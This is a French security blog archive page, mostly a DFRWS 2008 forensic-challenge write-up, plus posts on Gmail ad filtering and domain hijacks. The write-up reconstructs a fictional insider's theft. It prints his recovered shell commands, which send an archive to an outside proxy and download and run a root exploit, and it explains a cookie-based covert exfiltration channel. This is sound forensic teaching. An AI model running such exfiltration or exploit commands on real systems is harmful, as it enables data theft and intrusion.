Skip navigation.

devloop :: blog

Blog sur la sécurité informatique, la programmation, Linux et le Web

Posts tagged with "google"

Google Street View à Orléans ?

, , , ...

Il y a quelques jours, alors que je marchais dans la rue, j'ai été dépassé par une voiture avec un dispositif étrange placé sur le toit. Une bloc carré sur une espèce de trépied.
J'ai assez rapidement pensé aux voitures "Street View" qui se chargent de prendre des photos à intégrer dans Google Maps. Bien que le dispositif ne ressemblait pas exactement à certaines photos trouvées sur Internet, je vois difficilement ce que ça pourrait être d'autre...

Dans ma mémoire, cela ressemblait plus à un trépied, avec des pieds en diagonale. La voiture utilisée avait un look bien européen, peut-être même une Renault ou une Citroën, berline, propablement 4 portes, couleur très fonçée mais pas noire. Elle roulait assez doucement sans doute pour éviter de balancer le dispositif.

Après vérification aujourd'hui, il semble que les voitures de Google circulent bien en France. D'après des commentaires sur Zorgloob, d'autres personnes auraient croisé ces voitures un peu partout en France, et notamment sur Orléans à la mi-mai et la semaine dernière... comme quoi ce n'était pas une hallucination p:

Dans tous les cas j'ai vérifié sur Google Maps et aucune photo n'est présente pour le moment pour le lieu où j'ai croisé la famuse voiture p:
Ca pourrait aussi être une société concurrente ou un petit malin qui a décidé de reprendre le principe... rien n'est sûr.

Ma solution du challenge DFRWS 2008

, , , ...

Introduction

Le Digital Forensic Research Workshop (DFRWS) est une organisation qui cherche à faire évoluer les recherches en inforensique, cela notamment par l'organisation d'un concours organisé chaque année depuis 2001.

Le challenge de cette année 2008 est ouvert depuis début mai mais comme j'en ai eu vent que récemment, j'ai commencé mon analyse seulement 3 jours avant la fermeture du challenge. Ce qui n'est pas bien grave puisque le challenge s'adresse principalement aux citoyens des Etats-Unis et je ne pensais pas le faire "officiellement".

Je comptais poster mon analyse en fin d'après-midi mais force et de constater que je n'ai pas eu le temps et que les derniers "détails" que je voulait régler étaient plus prenant que je ne le pensais p:

L'objectif des organisateurs pour cette année 2008 est de faire avancer les méthodes d'analyse de la mémoire RAM des systèmes GNU/Linux. C'est pour cette raison que les données offertes pour l'analyse sont une image de la mémoire d'un système mais aussi un enregistrement de communications réseau (fichier pcap) et une copie des fichiers présents dans le répertoire personnel du suspect.
A noter que pour le répertoire personnel il s'agit vraiment d'une "copie de fichiers" et non de l'image d'une partition :frown:

Je tiens à signaler que dans ma version de la solution vous ne trouverez pas de tools ou de techniques de-la-mort-qui-tue sur comment extraire la liste des processus depuis une image RAM ou obtenir la liste des fichiers qui étaient ouvert depuis cette même image.
Après quelques recherches, le sujet m'a paru trop complexe et j'ai privilégié une analyse plus "classique". Toutefois si le sujet vous intéresse vous pouvez vous plonger dans une thèse de 2006 réalisée par des étudiants de la "Naval Postgraduate School" de Monterey (Californie) et baptisée An analysis of Linux RAM forensics ou le document Digital forensics of the physical memory de Maruisz Burdach et daté de 2005.

Le scénario

Votre entreprise est la cible de vol d'information. Une enquête a été faite avec surveillance réseau en parallèle qui a permis de souligner le comportement suspect d'un employé.
L'équipe sécurité de la boite a récupéré différentes données que vous devez analyser pour déterminer qu'elles ont été les activités récentes de cet utilisateur.

Votre entreprise souhaiterait avoir des réponses aux interrogations suivantes :
  • Quelle activité de l'utilisateur peut être mis en évidence d'après les données ?
  • Est-ce qu'une activité suspecte peut-être décelée sur ce système ?
  • Il y a t'il des preuves de collaboration avec une personne extérieure ? Si oui de quelle façon ?
  • Est-ce que des données sensibles ont été volées ? Sinon peut-on en savoir plus sur la nature des données et la façon dont elles ont été transmises ?

Analyse des fichiers de l'utilisateur

L'analyse des fichiers est sans doute la partie la moins intéressante du challenge. Principalement parce qu'il y a peut d'informations intéressantes. On devine facilement au nombres de dossiers présents que l'utilisateur n'utilisait pas le système depuis longtemps et n'a pas fouillé dans les configurations du système.
De plus on suspecte très vite l'utilisateur d'avoir fait un peu de ménage derrière lui. Notamment le dossier .Trash est manquant tout comme l'historique de bash.

D'après les fichiers présents, on est en mesure de dire que l'utilisateur utilisait un window manager basé sur GTK, très certainement GNOME.
La présence du fichier .gnome2/gedit-metadata.xml met en évidence l'utilisation de l'éditeur de texte Gedit. Ce fichier permet de garder en mémoire la position du curseur dans les fichiers qui ont été ouverts jusqu'à présent. Ainsi à la prochaine ouverture du fichier, le curseur est replacé à la ligne mémorisée la dernière fois.
Le contenu de ce fichier prouve l'édition des fichiers .bash_history, .bashrc, .lesshst et enfin d'un fichier "ELF exploit.sh" qui était présent dans un répertoire "temp" qui n'existe plus.
L'autre historique intéressant est celui de Midnight Commander situé à l'emplacement .mc/history.
On y voit le chemin du home de l'utilisateur (/home/stevev) et aussi un point de montage sur /mnt/hgfs/Admin_share.
Le dernier répertoire accédé est /media/disk/DFRWS, à priori une preuve du passage de l'équipe de sécurité lors de la récupération des données.

Un autre fichier nous permet de déterminer que le système utilisé est basé sur RedHat (du moins il utilise le gestionnaire de paquet YUM)

Analyse du cache de Firefox

L'utilisateur n'ayant de toute évidence pas pensé à vider son historique de navigation web, son contenu devient une véritable mine d'or.
Tout d'abord, le fichier cookies.txt nous permet d'avoir facilement une liste des sites qu'il a visité. Une fois que l'on retire les habituels sites d'ADS/trackers/publicité, il nous reste la liste suivante :

corporate.disney.go.com
disney.go.com
docs.google.com
forum.freeadvice.com
live.com
login.live.com
mail.google.com
noblebank.pl
spreadsheets.google.com
www.bankrate.com
www.derkeiler.com
www.google.com
www.msn.com
travelocity.com


La grande majorité des sites visités sont pour le moins classique. Il y a seulement la présence de derkeiler qui laisse suposer que l'employé s'intéresse à la sécurité informatique (ce site rassemble des mailing-lists sur le sujet).

Firefox : les fichiers formhistory.dat et history.dat

Ces deux fichiers sont écrits dans un format pour le moins étrange. Après quelques recherches on apprend que cette structure est du Mork, un format de fichier pour le moins critiqué...

Pour décoder ces deux fichiers j'ai testé différents logiciels gratuits et open-source comme demork.py qui transforme les données en une version XML, mork.pl qui présente les résultats très simplement sous la forme d'une liste et fhdump.pl qui, si mes souvenirs sont bons, ne m'a rien renvoyé.
Mais je crois que mon préféré a été celui de Foundstone baptisé DumpAutoComplete et qui fonctionne sous Windows (exe) comme sous Linux (version Python) et donne un output XML plutôt sympathique.

Le fichier formhistory.dat stocke le texte que l'utilisateur a saisie dans des formulaires. On n'y retrouve toutefois pas de mot de passe, l'utilisateur n'ayant probablement pas activé cette fonctionnalité.
Une partie intéressante de ce fichier est celle qui conserve les recherches effectuées depuis le navigateur. Ces informations données par l'outil de Foundstone se représentent ainsi :
<field name="searchbar-history">
  <saved>CAN-2005-1263</saved>
  <saved>extradition costa rica</saved>
  <saved>maldives</saved>
  <saved>non-extradition countries</saved>
  <saved>overseas credit card payments</saved>
  <saved>panama extradition</saved>
  <saved>private banking</saved>
  <saved>privilege elevation 2.6.19</saved>
</field>

Il semblerait que notre suspect ait envie de s'éclipser quelques temps dans une contrée où il ne risque rien et, si possible, au soleil voire dans des paradis fiscaux nervous
Il a aussi effectué une recherche sur des failles de sécurité du kernel qui pourrait lui permettre de passer root sur sa machine (ou une autre).

Les autres informations saisies par formulaire nous apprenent que notre suspect se prénomme Steve Vogon, qu'il a deux adresses mails qui sont Steve.Vogon@gmail.com et steve_vogon@hotmail.com et qu'il compte prendre un avion à destination du Costa Rica avec une certaine Catherine Lagrande.
Steve est joignable au 202 555 9900 toujours d'après le fichier formhistory.dat.
Je tiens à préciser que je n'ai pas forcément obtenu ces informations dans le même ordre que l'article mais j'essaye de suivre un ordre logique pour expliquer p:

Le fichier history.dat rassemble, dans l'ordre, les urls que l'utilisateur a visité. Cela nous permet de comprendre mieux le cheminement suivi lors de ses recherches sur Internet et on pourrait ainsi créer une "timeline" de son activité.
Je vous passe les détails de cette navigation, le principal à remarquer est que l'utilisateur est allé voir ses messages sur GMail et Windows Live et qu'il semble faire une utilisation assez soutenue de Google Docs (l'ancien Writely) et de Google Spreadsheet. Des services de travail collaboratif en ligne.

Les mots de passe enregistrés par Firefox

Firefox utilise un système de chiffrement particulier. Les mots de passes sont stockés chiffrés dans le fichier signons2.txt, protégés à l'aide d'un mot de passe maitre présent dans key3.db (chiffré lui aussi à priori).
Les fichiers cert8.db et secmod.db entrent aussi en compte dans ce système.
Un outil en Ruby ainsi que FirePassword permettent d'extraire les informations de ces fichiers... mais il faut connaître le mot de passe maître, aussi je n'ai pas cherché plus loin.

Le cache de Firefox

En l'occurence présents dans .mozilla/firefox/n5q6tfua.default/Cache, ces fichiers n'ont pas d'extensions et ont un nom composé de 11 caractères dans l'alphabet hexadécimal (de 0 à 9 et de A à F).
Le plus simple est encore de profiter de la force de Linux qui détermine le type des fichiers à partir de leur entête. Avec un simple gestionnaire de fichier comme Dolphin, une visionneuse d'images comme Gwenview, un éditeur de texte et un navigateur web, on peut analyser la quasi totalité des fichiers.
Restent les archives gzippées qui requièrent une étape supplémentaire de décompression et les fichiers _CACHE_00X_ générés par le navigateur.
Après avoir cherché sans succès un outil open-source fonctionnant sous Linux pour lire ces fichiers CACHE et m'être cassé la tête pour essayer de faire fonctionner un script python pas au point, je m'en suis remis à PhotoRec qui s'est montré particulièrement efficace pour en extraire des fichiers (les fichiers _CACHE_XXX_ sont un peu comme des archives tar, le fichier _CACHE_MAP_ est la "carte" disant à quel offset se trouve chaque fichier)

Les images extraites permettaient de voir que le suspect est allé sur le site et le blog du Projet Metasploit et différents sites de voyage.

Dans le cache du navigateur on retrouve aussi énormément de code javascript ou CSS qui ont été chargés avec les pages. Concernant les connexions à Google vous avez peut-être déjà remarqué que ce dernier se sert en grande quantité du format d'échange JSON. Le résultat c'est que les données qui nous intéressent ne se trouvent pas dans les pages HTML mises en cache mais dans des fichiers textes à part...

Au final on en extrait la conversation suivante avec une certaine "Faa Tali" :
Re: Negotiate (Google Docs)
I apologize for the delay -- I was required to travel recently.
I agree with your final terms and will contact you via the cell provided to discuss the transfer. I have received your software package and instructions for transfer.

On Dec 9, 2007 3:15 AM, faa tali wrote:
We are close, but please notice the changes I made. Let's move this along. A swift resolution would be appreciated.

Date: Sat, 8 Dec 2007 21:53:26
Subject: Negotiate (Google Docs)
From: Steve.Vogon@gmail.com
To: faatali@hotmail.com

I've shared a document with you called "Negotiate"
http://spreadsheets.google.com/ccc?key=XXXXX&inv=faatali@hotmail.com...
It's not an attachment -- it's stored online at Google Docs. To open this document, just click the link above.
Please answer on the prices and items listed.

On apprend par ce mail que notre suspect négocie le prix de différentes informations et ce par le biais d'un tableur partagé sur Google Spreadsheets. Il est aussi question d'un logiciel et d'instructions pour un transfert.

Plus tard, Steve renverra un message à Faa Tali qui est le suivant :
On Sun Dec 16 2007_10:24 PM
To: faa tali
Subject: Delivery information

Hi, I will be delivering the items as we discussed. I plan to use your 219. location for the items.
Please check for them within the next few hours and then arrange for a reciprocal transfer.
There is one item I will keep in reserve subject to your follow-through. It's noted on the spreadsheet.

On apprend que l'employé par envoyer les éléments sur le "219". La nature des données est listée dans le tableau que Steve a mis en ligne. C'est une information importante qu'il va nous faloir récupérer ;-)

Dans un sujet pas si éloigné que ça, Steve Vogon a aussi effectué une recherche Google sur les termes "private banking" qui l'ont amené sur le site http://www.noblebank.pl/.
D'après les même données formatées en JSON, on sait qu'il a demandé des renseignements auprès de cette banque :
To: investors@noblebank.pl
Subject: Minimum account  opening balance

Hello,
Can you please tell me what the minimum balance requirement is for opening an overseas account at your bank?
Thank you,
Steve K. Vogon

Il pense sans doute faire transiter l'argent de madame "faatalis" par cette banque.

Analyse du flux réseau

Je serais assez bref sur cette partie du challenge. Le fichier pcap fournit ne contient que des communications HTTP et des requêtes/réponses DNS mis à part une poignée de pings (ICMP ECHO). Le traffic HTTP n'est ni plus ni moins celui que l'on retrouve dans le cache du navigateur.
J'ai vite parsé le fichier pcap dans Chaosreader que je ne pense pas abandonner de si tôt p:
C'est vraiment très pratique et j'ai passé énormément de temps à étudier les logs par l'interface qu'il a généré et je me suis souvent référé à son résultat pour vérifier tel ou tel élément :smile:

Un des points que j'ai toutefois relevé avec Chaosreader et pas avec le cache du navigateur est que l'utilisateur du système s'est rendu sur ekiga.net/ip/ et que le site a retourné que l'adresse ip du suspect depuis l'Internet était 24.3.109.26 (en local son ip est 192.168.151.130).

Ce que en revanche je ne m'explique pas, c'est le temps qu'aura passé l'utilisateur sur le site de Disney... peut-être souhaite-t-il se reconvertir en Mickey Mouse ?

L'analyse de la mémoire

Le "dump" de la mémoire physique fait 284Mo. Son analyse a été très intéressante même si j'aurais passé énormément de temps pour rien les yeux collés devant des outputs de hexdump p:
La recherche s'est faite à grands coups de grep avec les options -b (afficher les offsets correspondants), -a (traiter le fichier comme si c'était un fichier texte) et parfois -i (insensible à la casse).

Les termes recherchés ont été déterminés à partir des éléments obtenus précédemment.
Par exemple en sachant que le nom d'user du suspect est "stevev" et le nom d'hôte du système est "goldfinger", une recherche sur "stevev@goldfinger" a permis d'extraire des commandes tappées sous bash :
[stevev@goldfinger ~]$ export http_proxy="http://219.93.175.67:80"
[stevev@goldfinger ~]$ cp /mnt/hgfs/software/xfer.pl .
[stevev@goldfinger ~]$ ./xfer.pl archive.zip
Preparing archive.zip for transmission ......
Sending now. Patience please
Data transmission complete.
Exiting
[stevev@goldfinger ~]$ rm archive.zip
[stevev@goldfinger ~]$ unset http_proxy
[stevev@goldfinger ~]$ rm xfer.pl
[stevev@goldfinger ~]$ rm archive.zip
[stevev@goldfinger ~]$ netstat -tupan

Cette suite de commandes met en évidence l'utilisation d'un script perl qui a permis de transférer une archive zip vers une machine, et ce après avoir défini un proxy dont l'ip commence par... 219 (quel hazard !! ;-) )

Une recherche sur "#!/usr/bin/perl" nous permettra de retrouver les quelques scripts perls présent dans la mémoire du système. Après visualisation par hexdump et avoir affiné les offsets (hexdump -C -s 258019329 -n 3208 challenge.mem) on peut extraite le script avec dd (dd if=challenge.mem skip=258019329 bs=1 count=3208 of=xfer.pl)
Le fichier obtenu est visible ici : xfer.pl sur pastebin.ca. La coloration syntaxique est un peu cassé à la fin à la cause des backquotes mais on arrive à lire la grande majorité :smile:

Le script xfer.pl

Le script en question est pas mal pensé. Il utilise une technique de covert channel (voyez ça comme de la stéganographie réseau) qui fait passer un fichier en petits morceaux à travers la section "Cookie" des requêtes HTTP.
Techniquement le fichier est d'abord encodé en base64 puis coupé en morceaux de 1236 octets. Le script a une liste d'urls prédéfinies et il envoie une simple requête HTTP GET vers les sites en insérant le morceaux de fichier encodé.
On voit dans le code que le script a recours à la commande wget pour envoyer les données. Seulement le problème avec wget c'est qu'il est trop bien conçu. Ainsi s'il tombe sur une redirection il va renvoyer la requête jusqu'à ce qu'il parvienne à la bonne url.
Pour éviter les doublons, le script rajoute un indicateur dans les requêtes HTTP permettant au récepteur de déterminer si le morceau qu'il recoit est bien la suite et non une copie du précédent.

Pour extraire l'archive zip de ce flux caché, j'ai d'abord recréé un fichier pcap en créant un filtre sur les paquets à destination de 219.93.175.67:80 (le récepteur qui tient en plus le rôle de proxy).
J'ai ensuite utilisé tcpflow pour extraire les requêtes HTTP brutes avec la commande suivante :
tcpflow -r agadou.pcap  -c > reqs.txt

J'ai retiré les doublons dans le fichier texte obtenu puis écrit un code assez maladroit (d'où l'étape préliminaire) pour recréer l'archive zip :
#!/usr/bin/env python
import base64

f=open("reqs.txt")
zip=""
while True:
  line=f.readline()
  if line=="": break
  if line.startswith("Cookie: "):
    if line.find("CVal=")>=0:
      zip+=line.split("CVal=")[1].strip()
    if line.find("Sessid=")>=0:
      zip+=line.split(&"Sessid=")[1].strip()
    if line.find("RMID=")>=0:
      zip+=line.split("RMID=")[1].strip()
zip=zip.replace("\n","")
print zip
zip=base64.b64decode(zip)
fo=open("archive.zip","w")
fo.write(zip)
fo.close()
f.close()


Archive.zip

Si on regarde à l'intérieur, on voit que l'archive contient les fichiers suivants :
Archive:  archive.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
   141824  12-08-07 14:19   mnt/hgfs/Admin_share/acct_prem.xls
   100864  12-08-07 14:09   mnt/hgfs/Admin_share/domain.xls
     2395  08-05-00 16:54   mnt/hgfs/Admin_share/ftp.pcap
 --------                   -------
   245083                   3 files

Seulement.. l'archive est protégée par mot de passe. Ma première idée a été de continuer à fouiller dans la mémoire pour essayer de trouver le mot de passe.
L'utilisateur a créé l'archive en ligne de commande :
zip archive.zip /mnt/hgfs/Admin_share/acct_prem.xls /mnt/hgfs/Admin_share/domain.xls /mnt/hgfs/Admin_share/ftp.pcap

puis il a protégé par mot de passe en utilisant la commande zipcloak
zipcloak archive.zip

J'ai donc fouillé dans la mémoire en cherchant l'image de ces processus mais je n'ai vu aucun mot de passe autour des commandes zip ou zipcloak :frown:

Comme on n'est jamais mieux servi que par soit même (en tout cas dans mon cas sous Linux), j'ai tenté de casser le mot de passe en utilisant lzcrack, un casseur de pass d'archives zip que j'ai développé il y a un certain temps, mais je n'ai obtenu aucun résultat.

J'ai aussi tenté de trouver les fichiers en clair (avant compression) dans l'image de la mémoire mais aucun document xls ni aucun traffic TCP ni étaient présents.

Got r00t ?

Toujours à coups de grep j'ai pu découvrir une autre suite de commandes lancées par bash :
uname -a
who
ll -h
mkdir temp
ll -h
chmod o-xrw temp/
ll -h
cd temp/
cp /mnt/hgfs/Admin_share/*.xls .
cp /mnt/hgfs/Admin_share/*.pcap .
exit
uname -a
id
exit
X -v
X -V
X -version
cd temp
wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
tar -zpxvf xmodulepath.tgz
cd xmodulepath
ll
unset HISTORY
./root.sh
exit
pwd
cd ..
cp /mnt/hgfs/Admin_share/intranet.vsd .
ll
ls -lh
exit

On y voit notre pirate (on peut maintenant le dire p: ) créer un répertoire "temp" (qu'il supprimera par la suite) et y recopier différents fichiers.
Il obtient ensuite la version de Xorg sur le système, télécharge un exploit pour une faille de sécurité existante, l'exécute puis en profite pour récupérer un dernier fichier.
Comme on ne dispose pas des résultats des commandes il est difficile de dire si l'utilisateur a effectivement réussi à passer root mais le fait qu'il copie ensuite un fichier qui se trouvait dans le même dossier laisse supposer que des permissions l'avaient empéché de le faire plus tôt...

La suite de l'analyse de la mémoire a permis d'extraire des lignes de logs générées par syslogd, de voir qu'un serveur sendmail tournait, que Steve a un uid de 501, que le système est une distribution CentOS avec un kernel 2.6.18 et qu'on trouve tout un tas de chose en mémoire.
Un peu de carving avec PhotoRec a révélé la présence de beaucoup d'images de la navigation web en mémoire, certaines partielles, d'autres complètes :smile:
J'ai aussi testé Scalpel pour l'occasion, mais je crois que je vais rester sur le précédent :smile:

Les trophés

Toute chose ayant une fin, voici le fameux tableau partagé sur Google. Les CSS n'étant pas intégrés, le rendu donne un peu brut :


L'invitation de partage du tableau à destination de Faa Tali
Steve Vogon... pas si américain que ça ?
A destination du Costa Rica, passage par le Salvador
Il y en a qui s'en font pas... pourtant c'est pas avec ces 57 dollars qu'il va se payer ça

GMail et la pub

, , ,

Une idée m'a traversée l'esprit tout à l'heure : est-il possible de filtrer les publicités sur le webmail de Google ?

Armé d'un Wireshark puis d'un ngrep, la réponse m'a rapidement semblée être oui.
En effet il ne m'a pas fallu longtemps pour voir passer des requêtes de la forme :
GET /mail/?ik=*******&view=ad&bb=*********************&&zx=***** HTTP/1.1
Host: mail.google.com

renvoyant un contenu formaté de la forme :
,[]
,[[["a","Programmez en GOTO++","Le GOTO++ ça rox","Le GOTO++ pour les nuls"
,"[URL=http://gpp.niacland.net/presentation.html.fr]http://gpp.niacland.net/presentation.html.fr[/URL]","www.perdu",""]
]]]

Aussitôt je me fais une petite expression régulière à ajouter à mon urlfilter.ini et je relance Opera direction GMail... sauf que ça marche pas :'(
La pub est toujours là et comme me le montre ngrep, les requêtes passent toujours. Pourtant si on tappe directement l'url dans le navigateur, la page est bien bloquée. Visiblement Opera a oublié de prendre en compte les XMLHttpRequest dans son système de filtrage :-/

Nouveau essai, cette fois avec Firefox. Ca bloque un peu trop cette fois : quand on tente de lire un mail, on est automatiquement redirigé sur la boite de réception. Sans doute une astuce de GMail pour obliger ses utilisateurs à "profiter de la pub"...

Bref c'est pas gagné !

Quelques poissons du web en vrac

, , , ...

LinuxFR : TuxFamily va supprimer PHP de ses offres d'hébergement pour diminuer sa consommation d'électricité
NASA : Premier match de Quidditch dans l'espace
ThinkGeek propose quelques nouveautés comme des cigarettes à la caféine, un casque pour jouer à la Wii ou des Piranhaz télécommandés :smile:
Le site BushFlag a été fermé sur ordre du département de la sécurité intérieure pour cause de violation du Patriot Act.
MobileGazette : Les téléphones portables provoqueront notre perte. Les téléphones portables créent un champ magnétique très puissant qui attire les astéroïdes vers notre planète.
Le site I Want One Of Those vend des cyber-petites amies
Un nouveau bouton sur Gmail vous permet de demander une copie papier de vos emails.
Google TiSP : accèdez à Internet par vos WC.
ThePirateBay va déménager ses serveurs pour l'ambassade Nord Coréenne de Stockholm
Le site MuggleNet nous donne son avis sur Harry Potter and the Deathly Hallows qu'il a pû lire avant tout le monde.
PcInpact présente le calendrier les dieux de l'informatique pour les geekettes.
Clubic : Fidgéla ADSL : un FAI qui cible les hommes !
TheRegister : Apple et Google s'allient pour créer le téléphone du futur

Vous trouverez des listes de poissons plus conséquentes sur Wikipedia: April 1 2007 et April Fools' Day

Voir aussi : devloop : les poissons du web 2006

Informatique en vrac

, , , ...

Les bidouilleurs de chez Doom9 continuent leur analyse du standard de protection AACS. Dernièrement ATARI Vampire est parvenu à trouver une (sub) Device Key du logiciel WinDVD 8.
Au niveau algorithmique cette clé se situe juste avant la Processing Key. La découverte n'apporte rien de plus (en tout cas pour le moment) mais on peut saluer l'exploit technique.
Sur Slashdot, la nouvelle est discutée, ça parle entre autres du système de révocation de AACS et on se demande si les groupes derrière la protection vont bientôt mettre ce système en marche.

Pour mieux comprendre le fonctionnement de tout ça je vous invite à lire mon précédent billet sur AACS ou encore mieux une explication du standard par arnezami nommée Understanding AACS (including Subset-Difference).

J'aurais bien aimé lire cette doc, seulement je suis très occupé en ce moment. Il faut dire que je suis un peu seul dans les bureaux de l'entreprise où je bosse actuellement puisque 90% des employés sont en grève (vidéo France3) et réclament une hausse des salaires.
Etant en CDD, je ne participe pas à ce mouvement mais j'espère qu'une solution sera trouvée rapidemment qui puisse satisfaire tout le monde. Demain mes collègues vont débuter leur 4ième journée de protestation.

Et pendant ce temps là en France... le gouvernement travaille à nous fournir un Internet plus sûr censuré, commercial, et sous surveillance.

Reprenant deux propositions d'un groupe de travail sur la cybercriminalité, le Gouvernement a décidé de créer un pôle unique de signalement des sites à contenus illicites et un certificat de sûreté des contenus proposés sur la toile.
(...)
Annoncé par le Premier ministre lors du Comité interministériel sur la société de l'information (Cisi) du 11 juillet 2006, un "label citoyen" sera mis en place cette année pour certifier la sûreté des contenus. Il distinguera, parmi les fournisseurs d'accès à internet et de services en ligne, ceux qui s'engagent pour une plus grande sécurisation des usages.


Reste à savoir qui va décider ce qui est, ou non, un contenu illicite et quel sera exactement le rôle des FAI dans cette histoire (un bon gros filtrage liberticide comme en Chine ou la fermeture sauvage de sites Internet sans même prendre soin de prévenir leur propriétaire).
On tente alors de nous rassurer sur le côté démocratique de cette mise en cage de l'Internet français en ces termes :

Selon les recommandations faites en avril 2006 par le Forum des droits sur l'internet, une telle marque de confiance comporterait 70 engagements.


On suppose alors que le gouvernement s'est concerté avec le fameux Forum des droits sur l'internet afin de ne pas faire n'importe quoi...
On se rend alors sur le site du Forum des droits sur l'internet (un lien est présent depuis la page du gouvernement) et on télécharge l'"Avis du Forum des droits sur l'internet sur le projet de Commission nationale de déontologie des services de communication au public en ligne" au format PDF...

Mais l'avis du Forum est tout sauf rassurant comme l'explique ces permières lignes :

En premier lieu, les acteurs déplorent qu'une concertation ouverte à l'ensemble des acteurs marchands et non marchands n'ait pas eu lieu sur un texte de cette importance.


C'est beau la démocratie !

Le dossier du grouvernement continue sa plaidoirie en nous rappelant sa lutte contre le spam et la mise en place de la plateforme signal-spam.
J'en avais parlé à son lancement. On nous avais fait différentes promesses, notamment la possibilité de signaler du spam. Cette fonctionnalité aurait dû être disponible durant le dernier trimestre de l'année précédente mais rien n'a été fait.
D'ailleurs on peut toujours lire sur la page : "Le site Signal Spam permettra bientôt aux utilisateurs enregistrés de signaler des messages de spam".. "Bientôt" ça fait une, deux ou trois années ?
Sans compter le blog en silence radio depuis le 14 Septembre 2006 :mad:

Mais ce qui fait le plus peur dans cette page c'est sans doute l'information suivante :

Parallèlement, le Réseau national de télécommunications pour la technologie, l’enseignement et la recherche (Renater), qui relie un grand nombre d’organismes français, a pour mission d’assurer en toutes circonstances la sécurité du réseau, notamment lors de la mise en œuvre des plans anti-terroristes.

C'est pour dire dans qu'elle merde on est ! :D Certes le CERT-Renater se tiens informé des dernières failles de sécurité mais nous fait aussi part des intrusions hebdomadaires dont il est victime (voir les STAT) et pour un réseau censé nous protéger des attaques terroristes ce n'est pas très rassurant p:

De toute façon on s'en fout, après tout nos centrales nucléaires sont encore moins bien protégées...

Le plus simple serais de ne pas relier les réseaux les plus sensibles à Internet. Ca éviterait par exemple de voir un pirate réussir à bloquer le réseau de distribution d'essence argentin par l'intrusion dans le S.I. du secrétariat à l'Energie du pays.

Mais personne ne semble s'intéresser à la protection de l'information, surtout pas les entreprises qui utiliseront la suite bureautique de Google, rendant leurs données accessibles à une multinationnale américaine.

Heureusement que les membres du projet Honeynet sont là pour nous rappeler les problèmes de sécurité concernant les applications web par le biais d'un document nommé Know your Enemy: Web Application Threats.
Certes rien de nouveau mais c'est un bon concentré des failles web existantes et ça parle aussi des honeypots PHP :smile:
On regrettera éventuellement l'absence d'un paragraphe sur les attaques par Cross-site Request Forgery (CSRF)

Zone-H et Google.de piratés sans les mains

, , , ...

Il y a encore moins d'une heure, si vous tentiez d'aller sur le site de Zone-h, le célèbre site d'archives des défacement, vous étiez accueilli par une page noire signée par deux pirates d'Arabie Saoudite nommés Devil Hacker et Unix Web.

Malgré que Zone-H soit tenu par des professionnels de la sécurité informatique, ce n'est pas la première fois qu'il est victime de piratage. Et pourtant dans les derniers cas il n'était pas la cible des pirates.
Par exemple, la dernière fois, les pirates avaient profité d'une faille XSS dans Hotmail pour infiltrer la session d'un des contributeurs du site et se faire envoyer un nouveau mot de passe par le système du "mot de passe oublié". En exploitant ensuite une faille dans un composant du CMS et à l'aide d'un peu d'ingénierie sociale, ils étaient parvenus à leurs fins.

Cette fois çi, les attaquants ne se sont vraiment pas souciés du staff de Zone-H et s'en sont pris directement au registrar du site.
Le registrar c'est celui qui vend des noms de domaines et qui fait en sorte que la correspondance nom DNS / adresse IP soit enregistrée sur les serveurs DNS.
On ne connaît pas les détails concernant l'attaque du registrar (brute force ?), quoiqu'il en soit les pirates ont finis par accèder au compte de Zone-H et ainsi modifier cette correspondance DNS/IP pour faire pointer les domaines de Zone-H vers un serveur qu'ils avaient mis en place.

Ainsi l'adresse IP pour Zone-h.org est passée de 213.219.122.11 à 72.232.163.74.
La première correspond à un serveur situé en Estonie (l'administrateur principal y habite) d'après le whois :
inetnum:      213.219.122.0 - 213.219.122.255
netname:      EE-ESTPAK
descr:        Serverhousing
descr:        Sole 14
descr:        Tallinn
descr:        Estpak Data/Estonian Telephone Co
country:      EE
admin-c:      ET332-RIPE
tech-c:       ET332-RIPE
rev-srv:      dns.estpak.ee
rev-srv:      dns2.estpak.ee

alors que la seconde adresse IP correspond à un serveur en Egypte :
network:Network-Name:72.232.163.73/29
network:IP-Network:72.232.163.73/29
network:Organization;I:FILMAHOSTING
network:Org-Name:egyp6.com
network:Street-Address:19 ebn koteba st.
network:City:Nacr City
network:State:cairo
network:Postal-Code:11471
network:Country-Code:EG

Dès que l'équipe de Zone-H s'en est apperçue (et ça n'a pas tardé), ils ont contacté le registrar et il aura fallu... 48 heures pour que le souci soit réglé ! Ca inclut le temps que le registrar lise les mails mais aussi le temps qu'ils comprennent ce qu'il se passe :D (d'après Zone-H il aura fallu exposer le problème à 8 personnes différentes avant que ce soit compris)
Dans ce laps de temps n'est pas pris en compte le temps de la réplication des enregistrements DNS corrigés sur les différents serveurs DNS à travers le monde. Ainsi quand j'ai eu vent de la nouvelle, c'était par Netvibes qui de toute évidence avait ses DNS mis à jour, alors que de mon côté les DNS étaient toujours corrompus.

Le cas de Google Allemagne est bien plus idiot :eyes:
En fait un inconnu à passé la demande à un registrar pour que le propriétaire du site Goneo.de devienne propriétaire du nom de domaine Google.de.
Le registrar, sans faire la moindre vérification (tout est sans doute automatisé) a demandé à Google si le changement de propriétaire pouvait se faire. Comme Google n'a pas donné de réponses dans le délai imparti (5 jours), le changement de propriétaire a été effectué Homer: Doh!

Dès qu'il s'est est rendu compte (peut-être une augmentation soudaine du nombre de connexions sur le serveur p: ), le propriétaire de Goneo, a contacté le registrar (DeNIC) pour libérer l'adresse.
Mais c'est un autre inconnu qui s'en est emparé :lol:

Finalement, vers 9h du matin, Google était redevenu le propriétaire de son nom de domaine. Il s'en tire plutôt bien étant donné que le domaine aurait très bien pû être détourné par des personnes moins honnêtes (phishers par exemple).
L'histoire manque de précision et ça me parrait étrange que le propriétaire du domaine puisse changer aussi facilement... Google était peut-être à la fin de ce contrat pour ce domaine et n'a pas pensé à renouveller... bizarre

Sources :
Zone-H
Google Blogoscoped

Au passage merci au moteur bonWeb qui avait mémorisé l'ip du serveur de Zone-H.

PrivacyBird et PrivacyFinder

, , , ...

PrivacyBird est un logiciel vous permettant de savoir de façon simple et rapide comment le site Internet que vous vistez gère vos informations personnelles (les fameuses "privacy policies").
Développé à l'origine par AT&T, PrivacyBird a été repris par l'Université Carnegie Mellon à Pittsburgh (Pennsylvanie, USA), plus précisemment par le laboratoire de recherche en vie privée et sécurité.

A l'heure actuelle, PrivacyBird prend la forme d'un plugin pour Internet Explorer 5 ou 6.
Pour déterminer la politique de vie privée d'un site Internet, il se base sur le protocole P3P créé par le World Wide Web Consortium.
